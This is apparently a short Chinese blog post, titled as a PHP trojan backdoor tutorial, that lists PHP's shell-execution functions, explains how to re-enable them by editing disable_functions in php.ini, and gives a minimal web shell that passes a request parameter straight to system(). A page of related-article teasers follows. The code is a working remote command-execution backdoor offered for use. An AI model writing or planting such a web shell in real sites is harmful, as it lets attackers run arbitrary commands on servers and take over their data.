php执行cmd/shell命令 木马小后门

php执行shell命令,可以使用下面几个函数: 

string system ( string $command [,int &$return_var ] )

string exec ( string $command [,array &$output [,int &$return_var ]] )

void passthru ( string $command [,int &$return_var ] )

 注意:

这三个函数在默认的情况下,都是被禁止了的

如果要使用这几个函数,

就要先修改php的配置文件php.ini

查找关键字disable_functions,将这一项中的这几个函数名删除掉

然后注意重启apache。

 

  首先看一下system()和passthru()两个功能类似,可以互换:

<?php
    #获取网页传递参数
    $shell = $_REQUEST['shell'];
    echo "<pre>";
    system($shell,$status);
    echo "</pre>";

相关文章

文章浏览阅读8.4k次,点赞8次,收藏7次。SourceCodester Onl...
文章浏览阅读3.4k次,点赞46次,收藏51次。本文为大家介绍在...
文章浏览阅读1.1k次。- php是最优秀, 最原生的模板语言, 替代...
文章浏览阅读1.1k次,点赞18次,收藏15次。整理K8s网络相关笔...
文章浏览阅读1.2k次,点赞22次,收藏19次。此网络模型提供了...
文章浏览阅读1.1k次,点赞14次,收藏19次。当我们谈论网络安...